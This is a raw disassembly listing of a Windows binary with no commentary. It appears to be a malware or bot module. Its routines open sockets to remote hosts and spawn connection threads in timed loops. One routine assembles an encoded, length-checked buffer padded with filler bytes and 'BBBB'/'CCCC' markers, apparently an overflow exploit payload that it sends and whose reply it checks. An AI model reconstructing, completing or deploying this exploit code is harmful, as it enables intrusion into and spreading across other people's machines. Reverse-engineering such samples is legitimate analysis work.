cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C248
lea eax, [ebp+var_140]
loc_40C248: ; CODE XREF: sub_40C125+11Bj
push eax
push [ebp+var_40]
call sub_409A73
add esp, 14h
loc_40C254: ; CODE XREF: sub_40C125+100j
lea eax, [ebp+var_28C]
push eax
call sub_4151AD
mov [esp+29Ch+var_29C], offset dword_4CD7A0
call near ptr 77F7E300h
nop
jmp loc_40C31E
; ---------------------------------------------------------------------------
loc_40C272: ; CODE XREF: sub_40C125+D0j
push edi
call dword_4CB6E0
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B886
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B886
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C2B7
lea eax, [ebp+var_140]
loc_40C2B7: ; CODE XREF: sub_40C125+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B886
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_431B04[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31E: ; CODE XREF: sub_40C125+C6j
; sub_40C125+148j
push 7D0h
nop
call near ptr 2680000h
jmp loc_40C16C
; ---------------------------------------------------------------------------
loc_40C32E: ; CODE XREF: sub_40C125+55j
push esi
call sub_40B413
pop ecx
push 0
nop
call near ptr 26E0000h
loc_40C33D: ; DATA XREF: sub_401ACD+1F82o
; sub_401ACD+5C49o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CB694
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB7A0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACE
push 0Bh
call sub_40B33F
add esp, 150h
cmp eax, ebx
jnz short loc_40C40B
mov esi, offset dword_4CD7A0
push esi
nop
call near ptr 26E069Dh
push 80000400h
push esi
nop
call near ptr 26E0513h
test eax, eax
jnz short loc_40C40B
lea eax, [ebp+var_1CC]
push offset unk_432250
push eax
call sub_41B886
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F5
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A73
add esp, 14h
loc_40C3F5: ; CODE XREF: sub_40C125+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AD
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40B: ; CODE XREF: sub_40C125+27Bj
; sub_40C125+297j
mov eax, [ebp+var_2C]
mov esi, dword_427078
mov edi, ebx
mov dword_4CB7A4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D8
loc_40C429: ; CODE XREF: sub_40C125+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_43221C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B0F7
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E594[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C125
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40C4A3
loc_40C498: ; CODE XREF: sub_40C125+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C4CA
push 1Eh
call esi
jmp short loc_40C498
; ---------------------------------------------------------------------------
loc_40C4A3: ; CODE XREF: sub_40C125+371j
nop
call near ptr 2680ABEh
push eax
lea eax, [ebp+var_1CC]
push offset unk_4321E4
push eax
call sub_41B886
lea eax, [ebp+var_1CC]
push eax
call sub_4151AD
add esp, 10h
loc_40C4CA: ; CODE XREF: sub_40C125+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C429
loc_40C4D8: ; CODE XREF: sub_40C125+2FEj
cmp [ebp+var_30], ebx
jz loc_40C582
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C4ED: ; CODE XREF: sub_40C125+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB7A0[eax*8]
push eax
call dword_4CB6E0
push eax
lea eax, [ebp+var_1CC]
push offset unk_4321A4
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53B
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A73
add esp, 14h
loc_40C53B: ; CODE XREF: sub_40C125+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AD
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CB7A4[eax*8], ebx
call esi
push 0Bh
call sub_40B33F
cmp eax, 1
pop ecx
jnz short loc_40C572
push offset dword_4CD7A0
nop
call near ptr 26E069Dh
loc_40C572: ; CODE XREF: sub_40C125+440j
push [ebp+var_2C]
call sub_40B413
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_40C582: ; CODE XREF: sub_40C125+3B6j
; sub_40C125+475j
mov eax, [ebp+var_2C]
cmp dword_4CB7A4[eax*8], 1
jnz loc_40C4ED
push 7D0h
call esi
jmp short loc_40C582
sub_40C125 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59C proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB654
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CB6D4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C65A
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB5FC
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E59C[ecx], esi
jz short loc_40C65A
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB6E0
push eax
mov edi, offset dword_4CE164
push offset dword_432284
push edi
call sub_41B886
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409A73
push edi
call sub_4151AD
add esp, 28h
loc_40C65A: ; CODE XREF: sub_40C59C+5Dj
; sub_40C59C+7Ej
push esi
call dword_4CB6EC
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59C endp
; ---------------------------------------------------------------------------
byte_40C669 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+603Fo
dd 134EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 4CBD8D59h
dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
dd 50004322h, 0F1D1E8h, 0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
dd 234C069h, 90050000h, 500043E3h, 0EF1BE8h, 1CC48300h
dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h, 0E8575700h
dd 22739A8h, 89C73B90h, 0B74FC45h, 75F47D39h, 0FF326A06h
dd 0FFF5EBD6h, 0EE8FC75h, 90022542h, 8CB3FFh, 0BB890000h
dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h, 4CB650h
dd 8D084589h, 46A0845h, 0E0458D50h, 0FBBEE850h, 0C4830000h
dd 0FF3DE90Ch
db 2 dup(0FFh)
word_40C75A dw 8B55h ; DATA XREF: sub_401ACD+5D4Fo
dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
dd 432300h, 0F0E0E850h, 858D0000h, 0FFFFFED0h, 1FF68h
dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
dd 57570040h, 38B6E890h, 0C73B0227h, 74084589h, 0F87D390Bh
dd 326A0675h, 0F5EBD6FFh, 900875FFh, 25411CE8h, 8CB3FF02h
dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; =============== S U B R O U T I N E =======================================
sub_40C867 proc near ; CODE XREF: sub_40CADB+Ep
; sub_40CADB+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C867 endp
; =============== S U B R O U T I N E =======================================
sub_40C871 proc near ; CODE XREF: sub_40CADB+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A3
push ebx
push 0
push edi
call sub_41B590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C310
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A3: ; CODE XREF: sub_40C871+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AB proc near ; CODE XREF: sub_40C9A5+18p
; sub_40CA1F+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F7
push edi
push 0
push esi
call sub_41B590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C310
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C310
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F7: ; CODE XREF: sub_40C8AB+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AB endp
; =============== S U B R O U T I N E =======================================
sub_40C900 proc near ; CODE XREF: sub_40C9A5+5Ep
; sub_40C9A5+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C910
push eax
call sub_41B0B1
pop ecx
loc_40C910: ; CODE XREF: sub_40C900+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C900 endp
; =============== S U B R O U T I N E =======================================
sub_40C919 proc near ; CODE XREF: sub_40C9A5+20p
; sub_40CA80+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C946
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C94A
loc_40C946: ; CODE XREF: sub_40C919+Dj
xor al, al
jmp short loc_40C9A1
; ---------------------------------------------------------------------------
loc_40C94A: ; CODE XREF: sub_40C919+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B590
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96F
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C989
; ---------------------------------------------------------------------------
loc_40C96F: ; CODE XREF: sub_40C919+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C989: ; CODE XREF: sub_40C919+54j
push eax
call sub_41C310
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A1: ; CODE XREF: sub_40C919+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A5 proc near ; CODE XREF: sub_40CADB+89p
; sub_40CADB+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CB50C
call sub_40C8AB
lea ecx, [ebp+var_8]
call sub_40C919
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DF
xor al, al
jmp short loc_40CA1B
; ---------------------------------------------------------------------------
loc_40C9DF: ; CODE XREF: sub_40C9A5+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C310
add esp, 18h
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C900
mov al, 1
loc_40CA1B: ; CODE XREF: sub_40C9A5+38j
pop edi
pop esi
leave
retn
sub_40C9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1F proc near ; CODE XREF: sub_40CA53+14p
; sub_40CA70+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C8AB
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1F endp
; =============== S U B R O U T I N E =======================================
sub_40CA53 proc near ; CODE XREF: sub_40CADB+F0p
; sub_40CADB+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AFE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CA1F
pop esi
retn 4
sub_40CA53 endp
; =============== S U B R O U T I N E =======================================
sub_40CA70 proc near ; CODE XREF: sub_40CABC+Bp
; sub_40CADB+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1F
retn 8
sub_40CA70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA80 proc near ; CODE XREF: sub_40CABC+16p
; sub_40CADB+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C919
test al, al
jz short loc_40CAB9
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CFE0
call sub_40C8AB
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB9: ; CODE XREF: sub_40CA80+Fj
pop esi
leave
retn
sub_40CA80 endp
; =============== S U B R O U T I N E =======================================
sub_40CABC proc near ; CODE XREF: sub_40CADB+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA70
test al, al
jz short loc_40CAD7
mov ecx, esi
call sub_40CA80
loc_40CAD7: ; CODE XREF: sub_40CABC+12j
pop esi
retn 8
sub_40CABC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADB proc near ; CODE XREF: ___:0040D362p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C867
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2F
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2F
push esi
lea ecx, [ebp+var_30]
call sub_40C867
lea ecx, [ebp+var_20]
call sub_40C867
lea ecx, [ebp+var_50]
call sub_40C867
lea ecx, [ebp+var_18]
call sub_40C867
lea ecx, [ebp+var_40]
call sub_40C867
lea ecx, [ebp+var_38]
call sub_40C867
lea ecx, [ebp+var_28]
call sub_40C867
push 4
push offset dword_432338
lea ecx, [ebp+var_30]
call sub_40CA1F
push 3
push offset dword_432340
lea ecx, [ebp+var_30]
call sub_40CA1F
lea ecx, [ebp+var_30]
call sub_40C9A5
lea ecx, [ebp+var_30]
call sub_40CA80
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CA1F
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1F
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CA1F
lea ecx, [ebp+var_20]
call sub_40C9A5
push offset loc_4326BC
lea ecx, [ebp+var_50]
call sub_40CA53
lea ecx, [ebp+var_50]
call sub_40C9A5
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C871
lea ecx, [ebp+var_58]
call sub_40C9A5
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABC
lea ecx, [ebp+var_58]
call sub_40C900
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA53
push 4
push offset dword_432344
lea ecx, [ebp+var_18]
call sub_40CA1F
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1F
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1F
lea ecx, [ebp+var_18]
call sub_40C9A5
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA70
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA70
lea ecx, [ebp+var_40]
call sub_40CA80
lea ecx, [ebp+var_18]
call sub_40C900
lea ecx, [ebp+var_50]
call sub_40C900
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA70
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA70
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA70
lea ecx, [ebp+var_38]
call sub_40CA80
lea ecx, [ebp+var_20]
call sub_40C900
lea ecx, [ebp+var_30]
call sub_40C900
lea ecx, [ebp+var_40]
call sub_40C900
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1F
lea ecx, [ebp+var_28]
call sub_40C9A5
push 2
push offset dword_4326B0
lea ecx, [ebp+var_28]
call sub_40CA1F
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA70
lea ecx, [ebp+var_28]
call sub_40CA80
lea ecx, [ebp+var_38]
call sub_40C900
lea ecx, [ebp+var_10]
call sub_40C867
lea ecx, [ebp+var_8]
call sub_40C867
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA70
lea ecx, [ebp+var_10]
call sub_40C919
lea ecx, [ebp+var_28]
call sub_40C900
push offset dword_4326AC
lea ecx, [ebp+var_8]
call sub_40CA53
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C919
lea ecx, [ebp+var_10]
call sub_40C900
push offset dword_4326A8
lea ecx, [ebp+var_10]
call sub_40CA53
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA70
lea ecx, [ebp+var_10]
call sub_40C919
lea ecx, [ebp+var_8]
call sub_40C900
push offset dword_43269C
lea ecx, [ebp+var_8]
call sub_40CA53
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C919
lea ecx, [ebp+var_10]
call sub_40C900
push (offset loc_432697+1)
lea ecx, [ebp+var_48]
call sub_40CA53
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C900
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3D
; ---------------------------------------------------------------------------
loc_40CE2F: ; CODE XREF: sub_40CADB+1Bj
; sub_40CADB+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3D: ; CODE XREF: sub_40CADB+352j
pop edi
pop ebx
leave
retn
sub_40CADB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE41 proc near ; CODE XREF: sub_40CF05+A1p
; sub_40CF05+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40CEA8
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40CEAC
loc_40CEA8: ; CODE XREF: sub_40CE41+54j
xor eax, eax
jmp short loc_40CEBC
; ---------------------------------------------------------------------------
loc_40CEAC: ; CODE XREF: sub_40CE41+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB66C
loc_40CEBC: ; CODE XREF: sub_40CE41+69j
pop edi
pop esi
leave
retn
sub_40CE41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEC0 proc near ; CODE XREF: sub_40CF05+81p
; sub_40CF05+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB650
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp eax, 4
jz short loc_40CEEA
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEEA: ; CODE XREF: sub_40CEC0+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CB6A4
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF05 proc near ; CODE XREF: sub_40CFDF+48p
; ___:0040D453p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2E
xor al, al
jmp loc_40CFDA
; ---------------------------------------------------------------------------
loc_40CF2E: ; CODE XREF: sub_40CF05+20j
push ebx
push 0
push esi
call sub_41B590
push 2Fh
push offset dword_4323D4
push esi
call sub_41C310
push 8
lea eax, [esi+31h]
push offset dword_432404
push eax
mov [esi+2Fh], di
call sub_41C310
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C310
push 6
add ebx, edi
push offset dword_4CE36C
push ebx
call sub_41C310
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43234C
push ebx
call sub_40CEC0
add esp, 48h
test al, al
jnz short loc_40CF96
loc_40CF92: ; CODE XREF: sub_40CF05+B5j
xor bl, bl
jmp short loc_40CFD1
; ---------------------------------------------------------------------------
loc_40CF96: ; CODE XREF: sub_40CF05+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE41
push [ebp+var_4]
push esi
push ebx
call sub_40CEC0
add esp, 1Ch
test al, al
jz short loc_40CF92
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE41
add esp, 10h
mov bl, 1
loc_40CFD1: ; CODE XREF: sub_40CF05+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFDA: ; CODE XREF: sub_40CF05+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFDF proc near ; CODE XREF: ___:0040D439p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432410
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40D01A
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE41
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D01A
cmp [ebp+var_20], 82h
jz short loc_40D01E
loc_40D01A: ; CODE XREF: sub_40CFDF+1Bj
; sub_40CFDF+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D01E: ; CODE XREF: sub_40CFDF+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF05
add esp, 0Ch
leave
retn
